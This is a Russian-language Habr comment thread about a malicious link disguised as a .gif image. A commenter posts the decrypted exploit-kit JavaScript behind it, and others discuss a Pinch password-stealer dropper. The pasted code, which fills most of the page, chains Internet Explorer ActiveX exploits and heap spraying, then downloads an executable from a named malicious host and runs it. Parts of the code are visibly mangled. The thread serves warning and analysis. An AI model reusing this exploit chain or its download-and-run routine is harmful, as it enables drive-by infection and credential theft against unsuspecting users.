Pull to refresh

Comments 31

UFO just landed and posted this here
Да я сам под маком, думаю тоже пронесет =) Просто посмотрел, что на Хабре еще про такое не выложил, а уже несколько раз прислали ссылку. Я поначалу посмотрел, что это гиф, и все ждал какой-нибудь анимации идиотской, ан нет, все хуже =)
Это давний давний баг IE. Пользователям нормальных браузреом он не особо грозит
Насколько мне известно, такую возможность «хакеры» используют довольно продолжительное время. И разработчики браузеров вроде как стараются прикрывать подобные уязвимости.
мне понравилось использование постфикса .gif, очень интересный подход =)
Согласен :) Особенно это было удивительно пару лет назад, когда можно было в конец такого файла вставить JS-код, потом залить картинку как аватар куда-нибудь, где она становилась источником для какого-нибудь, а многие браузеры по нелепой случайности начинали этот код выполнять ;)
UFO just landed and posted this here
А где написано, что маскировка под gif — уязвимость?
ссыкотно должно быть открывать любые ссылки от незнакомых бля… контактов, а если это знакомые, очевидно плохо предохраняются )

а ссылка эта никакого отношения к гифам не имеет, короткая строка в .htaccess и все пути вида blabla.gif заменяются на blabla.php
А я вот увидел «.gif» и открыл. Долго-долго якобы грузилась картинка (даже что-то было видно, похоже на загрузку progressive jpeg). Поняв, что все-таки что-то не то, закрыл вкладку. Надеюсь, обойдется…
Хм, на страницу worknssrv.cn/sp/index.php Firefox выдает пугающий красный варнинг «Reported Attack Site!». Сама страница присылает (кроме хедеров) контент длиной в 20 байт следующего содержания: 1F8B080000000000000303000000000000000000. Гугление вывело на сайт Symantec http://safeweb.norton.com/report/show? name=worknssrv.cn, говорящий, что это HTTP MSIE COM Object Memory Corruption. Правда ссылка на подробности о заразе ведет куда-то не туда…
Дальнейшее расследование показало следующее: с User-Agent от IE (а, может, и не в User-Agent дело было, а просто ФФ лихо блокировал) скачивается страница со скриптом-дешифратором и зашифрованной строчкой, которая расшифруется в JS-код и eval'ится. Сам код:
var m=new Array();
			var mf=0;
			var url="http://worknssrv.cn/sp/load.php?id=124942";

			function hex(num,width){
				var digits="0123456789ABCDEF";
				var hex=digits.substr(num&0xF,1);
				while(num>0xF){
					num=num>>>4;
					hex=digits.substr(num&0xF,1)+hex;
				}
				var width=(width?width:0);
				while(hex.length>16)&0xFFFF,4));
			}

			function unes(str){
				var tmp="";
				for(var i=0;i<<16)+
						(str.charCodeAt(i+1)<<8)+
						str.charCodeAt(i));
				}
				return unescape(tmp);
			}

			function hav(){
				mf=mf;
				setTimeout("hav()",1000);
			}

			function gss(ss,sss){
				while(ss.length*2< 65535)padding += padding;
				memo = new Array();
				flush();
			}

			function flush(){
				delete memo["plunger"];
				CollectGarbage();
				memo["plunger"] = new Array();
				var bytes = new Array(32, 64, 256, 32768);
				for (var i = 0; i < 6; i++) {
					for(var n = 0; n < 4; n++) {
						var len = memo["plunger"].length;
						eval("memo[\"plunger\"][len] = padding.substr(0, (" + bytes[n] + "-6)/2);");
					}
				}
			}

			function alloc(arg, tag){
				var size;
				size = arg;
				if (size == 32 || size == 64 || size == 256 || size == 32768) {}
				if ( ! memo[tag] )memo[tag] = new Array();
				var len = memo[tag].length;
				memo[tag][len] = padding.substr(0, (arg-6)/2);
			}

			function alloc_str(arg, tag){
				var size;
				size = 4 + arg.length*2 + 2;
				if (size == 32 || size == 64 || size == 256 || size == 32768) {}
				if ( ! memo[tag])memo[tag] = new Array();
				var len = memo[tag].length;
				memo[tag][len] = arg.substr(0, arg.length);
			}

			function free(tag) { 
				delete memo[tag];
				CollectGarbage();
				flush();
			}

			function CreateO(o,n){
				var r=null;
				try{r=o.CreateObject(n)}catch(e){}
				if(!r){try{r=o.CreateObject(n,"")}catch(e){}}
				if(!r){try{r=o.CreateObject(n,"","")}catch(e){}}
				if(!r){try{r=o.GetObject("",n)}catch(e){}}
				if(!r){try{r=o.GetObject(n,"")}catch(e){}}
				if(!r){try{r=o.GetObject(n)}catch(e){}}
				return®;
			}

			function Go(a){
				var eurl=url+"&spl=2";
				var fname="wint80vubCfvErSJ.exe";
				var fso=a.CreateObject("Scripting.FileSystemObject","")
				var sap=CreateO(a,"Shell.Application");
				var x=CreateO(a,"ADODB.Stream");
				var nl=null;
				fname=fso.BuildPath(fso.GetSpecialFolder(2),fname);
				x.Mode=3;
				try{nl=CreateO(a,"Micr"+"osoft.XMLH"+"TTP");nl.open("GET",eurl,false);}
				catch(e){try{nl=CreateO(a,"MSXML2.XMLHTTP");nl.open("GET",eurl,false);}
				catch(e){try{nl=CreateO(a,"MSXML2.ServerXMLHTTP");nl.open("GET",eurl,false);}
				catch(e){try{nl=new XMLHttpRequest();nl.open("GET",eurl,false);}
				catch(e){return 0;}}}}
				x.Type=1;
				nl.send(null);
				rb=nl.responseBody;
				x.Open();
				x.Write(rb);
				x.SaveTofile(fname,2);
				sap.ShellExecute(fname);
				return 1;
			}

			function attack(s){
				var obj=null;

				if(s==1){
					var i=0;
					var target=new Array("BD96C556-65A3-11D0-983A-00C04FC29E36","BD96C556-65A3-11D0-983A-00C04FC29E30","AB9BCEDD-EC7E-47E1-9322-D4A210617116","0006F033-0000-0000-C000-000000000046","0006F03A-0000-0000-C000-000000000046","6e32070a-766d-4ee6-879c-dc1fa91d2fc3","6414512B-B978-451D-A0D8-FCFDF33E833C","7F5B7F63-F06F-4331-8A26-339E03C0AE3D","06723E09-F4C2-43c8-8358-09FCD1DB0766","639F725F-1B2D-4831-A9FD-874847682010","BA018599-1DB3-44f9-83B4-461454C84BF8","D0C07D56-7C69-43F1-B4A0-25F5A11FAB19","E8CCCDDF-CA28-496b-B050-6C07C962476B",null);
					while(target[i]){
						var a=null;
						a=document.createElement("object");
						a.setAttribute("classid","clsid:"+target[i]);
						if(a){try{var b=CreateO(a,"Shell.Application");if(b){Go(a);}}catch(e){}}
						i++;
					}
					setTimeout("attack(2)",4000);
					return 0;
				}

				if(s==2){
					try{
						obj=cobj("ShockwaveFlash.ShockwaveFlash.9");
						if(obj){
							ms("&spl=3");
							document.getElementById("a1").innerHTML = 
							'
';
							setTimeout("attack(3)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(3)",1);
					return 0;
				}
			
				if(s==3){
					try{
						obj=cobj("WebViewFolderIcon.WebViewFolderIcon.1");
						if(obj){
							ms("&spl=4");
							for(var i=0;i<128;i++){
								var wvfio=new ActiveXObject("WebViewFolderIcon.WebViewFolderIcon.1");
								try{wvfio.setSlice(0x7ffffffe,0,0,202116108);}catch(e){}
								var wvfit=new ActiveXObject("WebViewFolderIcon.WebViewFolderIcon.1");
							}
							setTimeout("attack(4)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(4)",1);
					return 0;
				}

				if(s==4){
					try{
						obj=cobj("{EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F}");
						if(obj){
							ms("&spl=5");
							z=Math.ceil(0x0c0c0c0c);
							z=document.scripts[0].createControlRange().length;
							setTimeout("attack(5)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(5)",1);
					return 0;
				}

				if(s==5){
					try{
						var obj=cobj("{00E1DB59-6EFD-4CE7-8C0A-2DA3BCAAD9C6}");
						if(obj){
							ms("&spl=7");
							var num = 202116108;
							obj.WksPictureInterface = num;
							setTimeout("attack(6)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(6)",1);
					return 0;
				}

				if(s==6){
					try{
						var obj=cobj("{0A5FD7C5-A45C-49FC-ADB5-9952547D5715}");
						if(obj){
							ms("&spl=8");
							var buf = addr(0x0c0c0c0c);
							while (buf.length < 512) buf += buf;
							obj.cachefolder = buf;
							setTimeout("attack(7)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(7)",1);
					return 0;
				}

				if(s==7){
					try{
						obj=cobj("{77829F14-D911-40FF-A2F0-D11DB8D6D0BC}");
						if(obj){
							ms("&spl=9");
							var buf = "";
							while (buf.length < 5000) buf += "\x0c\x0c\x0c\x0c";
							obj.SetFormatLikeSample(buf);
							setTimeout("attack(8)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(8)",1);
					return 0;
				}

				if(s==8){
					try{
						obj=cobj("{F917534D-535B-416B-8E8F-0C04756C31A8}");
						if(obj){
							ms("&spl=10");
							var buf = "";
							while (buf.length < 600) buf += "\x0c\x0c\x0c\x0c";
							obj.IEStartNative(buf);
							setTimeout("attack(9)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(9)",1);
					return 0;
				}

				if(s==9){
					try{
						obj=cobj("DirectAnimation.PathControl");
						if(obj){
							ms("&spl=6");
							init();
							var jmpecx = 0x0c0c0c0c;
							var vtable = addr(0x7ceb9090);
							for (var i = 0; i < 124/4; i++)vtable += addr(jmpecx);
							vtable += padding.substr(0, (1008-138)/2);
							var fakeObjPtr = heapBase + 0x688 + ((1008+8)/8)*48;
							var fakeObjChunk = padding.substr(0, (0x200c-4)/2) + addr(fakeObjPtr) + padding.substr(0, 14/2);
							CollectGarbage();
							flush();
							for (var i = 0; i < 100; i++)alloc_str(vtable);
							alloc_str(vtable, "lookaside");
							free("lookaside");
							for (var i = 0; i < 100; i++)alloc(0x2010);
							for (var i = 0; i < 2; i++) {
								alloc_str(fakeObjChunk);
								alloc_str(fakeObjChunk, "freeList");
							}
							alloc_str(fakeObjChunk);
							free("freeList");
							obj.KeyFrame(0x40000801, new Array(1), new Array(1));
							setTimeout("attack(10)",2000);
							return 0;
						}
					}catch(e){}
					setTimeout("attack(10)",1);
					return 0;
				}
				if(s==10){
					window.location = "about:blank";
					return 0;
				}
			}
			attack(1);




Тут уже атака по всем фронтам ActiveX со скачиванием всякой исполняемой фигни с качать_не_стоит/worknssrv.cn/sp/load.php? id=124942&spl=num (num от 1 до 9)
Подробнее копаться заломало, да и так все понятно в общем-то
Благодарю за код, теперь хоть уверен, что ничего не подхватил =)
Если мне не изменяет память, то данная атака применялась в «ВКонтакте.ру»
пару месяцев назад… хотя в конце все же была gif`а))).
Господа, Firefox+NoScript спасут вас. Сам не верил, но когда попробовал понял что великолепная штука. Можно спокойно ходить даже по самым злачным местам интернета :)
мне интересно, что можно найти в самых злачных местах интернета?
MaosBoot, Rustok, GpCode… Все три, насколько я помню, именно через сеть распространяются :-)
Это вроде фича IE, что он своим умным парсингом вместо гифки начнет код исполнять.
На этом же ресурсе хостится много дряни.
Вчера пришло сообщение по icq:

«КИВ (19:13:18 26/08/2008)
привет
feels-energy.com/07373/
посмотри, классная вещь!»

По ссылке забавная страничка (специально не стал делать активной, может быть сплоит). С нее можно скачать файл feels-energy.com/07373/clips01505.zip. В архиве *.scr (экранная заставка), которая на самом деле спокойно исполняется. Иконка сделана под WMPlayer.

Что находится внутри? Дроппер, написанный на Delphi 7 размером 100 Кб, из них 21 кб составляют ресурсы (ничего интересного). Внутрях покриптованный пинч (pinch). Криптобертка настолько хороша, что из всех авирей (см. на вирустотале) видят его только Ikarus, Webwasher, BitDefender (и еще парочка, но они криво видят, просто heur выставляют).

Ни один из 5ки «крупных» его не видит (ни каспер, ни нод, ни симантек, ни маккафи, ни панда). Если кто может в пинче найти мыло возврата логов — в pm. Я с пинчами мало работал.
По своему опыту могу сказать, что против пинча и ему подобных зловредов помогает закрытие исходящих соединений по smtp на 25 порт. Хотя может быть уже существуют версии, которые работают по ftp.
Очень широко и 80-й используют для отправки данных, так что блокировка портов проблемы не решит.
Абсолютно верно. Тем более есть и аналоги пинча (в привате), которые не сильно ему уступают, а некоторые и превосходят. Так что один конь.
Я эти аналоги чуть ли не каждый день на работе вижу, и таки да, соглашусь — не самое страшное зверье этот пинч. Вот DLL в 8 кило, которая весь траффик перехватывает — это посерьезней.
Соглашусь с вами, чет не подумал про запросы по http, блокировка 25 порта только спам пота тормознут, думаю слать спам через http слишком геморно, хотя могу и ошибаться вирмейкеры люди заинтересованные, могут сделать все что угодно для достижения цели.
Ну я видел отправку мыла через POST-запрос на специальный сервер. В POST указывались все параметры писем :-) А если стоит руткит, то никакие блокировки могут и не помочь. Лучшее средство защиты — профилактика ;-)
Блин, ну не надо выкладывать такой код без изменений, не надо! Статья даже есть за распространение… И черт бы с ней со статьей, так какой-нибудь дурак к себе этот код на страничку сунет :-(
как показывает практика, таких дураков все больше и больше, только вот делают они это все осознанно =)
Так а что происходит при открытии? Я поучил ссылку эту от довольно надежного человека, поэтому открыл не раздумывая. Что теперь может случиться?
Sign up to leave a comment.

Articles